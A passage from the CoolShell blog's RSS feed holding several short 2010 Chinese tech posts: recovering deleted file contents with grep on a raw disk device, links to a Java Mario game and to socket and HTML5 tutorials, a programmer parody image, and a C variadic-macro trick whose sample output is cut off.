&#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/2608.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/androidappinventor-150x150.jpg\" alt=\"Google App Inventor \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2608.html\" class=\"wp_rp_title\">Google App Inventor </a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Python 和 PyGame 的一些示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_title\">Python 和 PyGame 的一些示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2853.html\">实用Android开发工具和资源精选</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2853.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>36</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>使用grep恢复被删文件内容</title>\n\t\t<link>https://coolshell.cn/articles/2822.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2822.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 24 Aug 2010 00:56:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[grep]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2822</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在Unix/Linux下，最危险的命令恐怕就属rm命令了，每次在root下使用这个命令的时候，我都要盯着命令行看上几分钟才敢把回车敲下去。以前，看到同事在脚本中...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2822.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2822.html\">使用grep恢复被删文件内容</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在Unix/Linux下，最危险的命令恐怕就属rm命令了，每次在root下使用这个命令的时候，我都要盯着命令行看上几分钟才敢把回车敲下去。以前，看到同事在脚本中使用rm命令 —— <code>rm {$App_Dir}/*</code> 。因为脚本没有判断变量$App_Dir是否为空，结果，在一次用root操作的时候，整个操作系统一下就不见了，还好只是开发机。从此，我们大家都再也不敢使用rm命令了。</p>\n<p>这里给大家介绍一个小技巧用来恢复一些被rm了的文件中的数据。我们知道，rm命令其实并不是真正的从物理上删除文件内容，只过不把文件的inode回收了，其实文件内容还在硬盘上。所以，如果你不小删除了什么比较重要的程序配置文件的时候，我们完全可以用grep命令在恢复，下面是一个恢复示例：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">grep -a -B 50 -A 60 &#039;some string in the file&#039; /dev/sda1 &gt; results.txt</code></p>\n<p>说明：</p>\n<ul>\n<li>关于grep的-a意为&#8211;binary-files=text，也就是把二进制文件当作文本文件。</li>\n<li>-B和-A的选项就是这段字符串之前几行和之后几行。</li>\n<li>/dev/sda1，就是硬盘设备，</li>\n<li>&gt; results.txt，就是把结果重定向到results.txt文件中。</li>\n</ul>\n<p>如果你幸运的话，你就可以看到被恢复的内容了。这正是Unix的简单哲学（详见《<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">Unix传奇下篇</a>》）——<strong> 所有的设备都是文件</strong>。</p>\n<p>当然，我还是建议你把root用户的rm的命令用alias换成别一个脚本，那个脚本会帮你把删除的文件放到某个地方。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png\" alt=\"sed 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_title\">sed 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2822.html\">使用grep恢复被删文件内容</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2822.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>史上最烂的超级玛丽</title>\n\t\t<link>https://coolshell.cn/articles/2834.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2834.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 23 Aug 2010 07:20:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Game]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2834</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>啥也不说了，自己访问一下吧，F是跳，D是加速，回车的是开始，还挺好玩，简单是简单了点，但好歹也是用Java写的，也是Web的，呵呵。 http://meatfi...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2834.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2834.html\">史上最烂的超级玛丽</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>啥也不说了，自己访问一下吧，F是跳，D是加速，回车的是开始，还挺好玩，简单是简单了点，但好歹也是用Java写的，也是Web的，呵呵。</p>\n<p style=\"text-align: center;\"><a href=\"http://meatfighter.com/mario/mario.html\" target=\"_blank\">http://meatfighter.com/mario/mario.html</a></p>\n<p><a href=\"http://meatfighter.com/mario/mario.html\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2835\" title=\"Super Mario\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/super_mario.jpg\" alt=\"史上最烂的超级玛丽\" width=\"300\" height=\"267\" /></a></p>\n<p>你还见过更烂的吗？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2834.html\">史上最烂的超级玛丽</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2834.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>20</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>两个教程：Socket和HTML5</title>\n\t\t<link>https://coolshell.cn/articles/2829.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2829.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 23 Aug 2010 02:47:28 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[socket]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2829</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>给大家介绍两个教程，一个是关于Socket编程的，一个是关于HTML5的。 关于Socket，相信大家都知道这个是用来做TCP/IP网络编程的，其由FreeBS...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2829.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2829.html\">两个教程：Socket和HTML5</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" class=\"alignright\" src=\"http://d.wearehugh.com/dih5/johnny_automatic_planet_with_spyglass.png\" alt=\"\" />给大家介绍两个教程，一个是关于Socket编程的，一个是关于HTML5的。</p>\n<p>关于Socket，相信大家都知道这个是用来做TCP/IP网络编程的，其由FreeBSD引入，现在，只要你相做网络编程，你必然会使用到它。这里有一个叫<strong><a href=\"http://beej.us/guide/bgnet/\" target=\"_blank\">Beej&#8217;s Guide to Network Programming</a><span style=\"font-weight: normal;\"> 的网站</span></strong>，非常不错的一个教程。在其主页上显示有<a href=\"http://docs.chinalinuxpub.com/doc/pro/is.html\" target=\"_blank\">中译版</a>，不过很可惜，打不开。好像网络有很多转载，你可以<a href=\"http://www.google.com.hk/search?hl=zh-CN&amp;source=hp&amp;q=beej+%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B&amp;btnG=Google+%E6%90%9C%E7%B4%A2\" target=\"_blank\">Google一下</a>。</p>\n<p>另一个是关于HTML5的众多标签，大家可以访问这个叫做“<a href=\"http://diveintohtml5.org/peeks-pokes-and-pointers.html\" target=\"_blank\"><strong>HTML5 Peeks, Pokes and Pointers</strong></a>”的网站，其就像一个速查手册一样，你可要查阅HTML5的那些BT的tag，比如：多媒体，画布，地理，表单，等等。</p>\n<p>希望大家喜欢，不妨你也说说你知道的相关的一些教程。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2829.html\">两个教程：Socket和HTML5</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2829.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员版的凡客</title>\n\t\t<link>https://coolshell.cn/articles/2806.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2806.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 12 Aug 2010 07:24:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[凡客]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2806</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>现在“凡客诚品”的PS风已经成为了一场运动，详见这里：http://bigfools.com/2010/08/6634.html。这两天，公司内部要出期刊，正好...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2806.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2806.html\">程序员版的凡客</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>现在“凡客诚品”的PS风已经成为了一场运动，详见这里：<a href=\"http://bigfools.com/2010/08/6634.html\" target=\"_blank\">http://bigfools.com/2010/08/6634.html</a>。这两天，公司内部要出期刊，正好下班没事，于是跟着这股网风，为公司的期刊做了一个插图，那些语句着实花了我很多时间。用PPT乱做的，希望大家喜欢。呵呵。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/08/coolshell.programmer.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2807\" title=\"程序员版的凡客\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/coolshell.programmer.jpg\" alt=\"\" width=\"600\" height=\"229\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/08/coolshell.programmer.jpg 769w, https://coolshell.cn/wp-content/uploads/2010/08/coolshell.programmer-300x115.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/08/coolshell.programmer-768x294.jpg 768w, https://coolshell.cn/wp-content/uploads/2010/08/coolshell.programmer-604x231.jpg 604w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></a></p>\n<p>欢迎你留下你的版本，尤其是那些语句。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2806.html\">程序员版的凡客</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2806.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>36</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C技巧：结构体参数转成不定参数</title>\n\t\t<link>https://coolshell.cn/articles/2801.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2801.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 10 Aug 2010 00:24:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2801</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这段程序是一个C语言的小技巧，其展示了如何把一个参数为结构体的函数转成一个可变参数的函数，其中用到了宏和内建宏“__VA_ARGS__”，下面这段程序可以在...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2801.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2801.html\">C技巧：结构体参数转成不定参数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这段程序是一个C语言的小技巧，其展示了如何把一个参数为结构体的函数转成一个可变参数的函数，其中用到了宏和内建宏“<code>__VA_ARGS__</code>”，下面这段程序可以在GCC下正常编译通过：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n\n#define func(...) myfunc((struct mystru){__VA_ARGS__})\n\nstruct mystru { const char *name; int number; };\n\nvoid myfunc(struct mystru ms )\n{\n  printf(&quot;%s: %d\\n&quot;, ms.name ?: &quot;untitled&quot;, ms.number);\n}\n\nint main(int argc, char **argv)\n{\n  func(&quot;three&quot;, 3);\n  func(&quot;hello&quot;);\n  func(.name = &quot;zero&quot;);\n  func(.number = argc, .name = &quot;argc&quot;,);\n  func(.number = 42);\n  return 0;\n}\n</pre>\n<p>从上面这段程序，我们可以看到一个叫 myfunc的函数，被func的宏改变了，本来myfunc需要的是一个叫mystru的结构，然而通过宏，我们把struct mystru的这个参数，变成了不定参数列表的一个函数。上面这段程序输出入下，</p>\n<p><span id=\"more-2801\"></span></p>\n<blockquote><p>three: 3<br />\nhello: 0<br />\nzero: 0<br />\nargc: 1<br />\nuntitled: 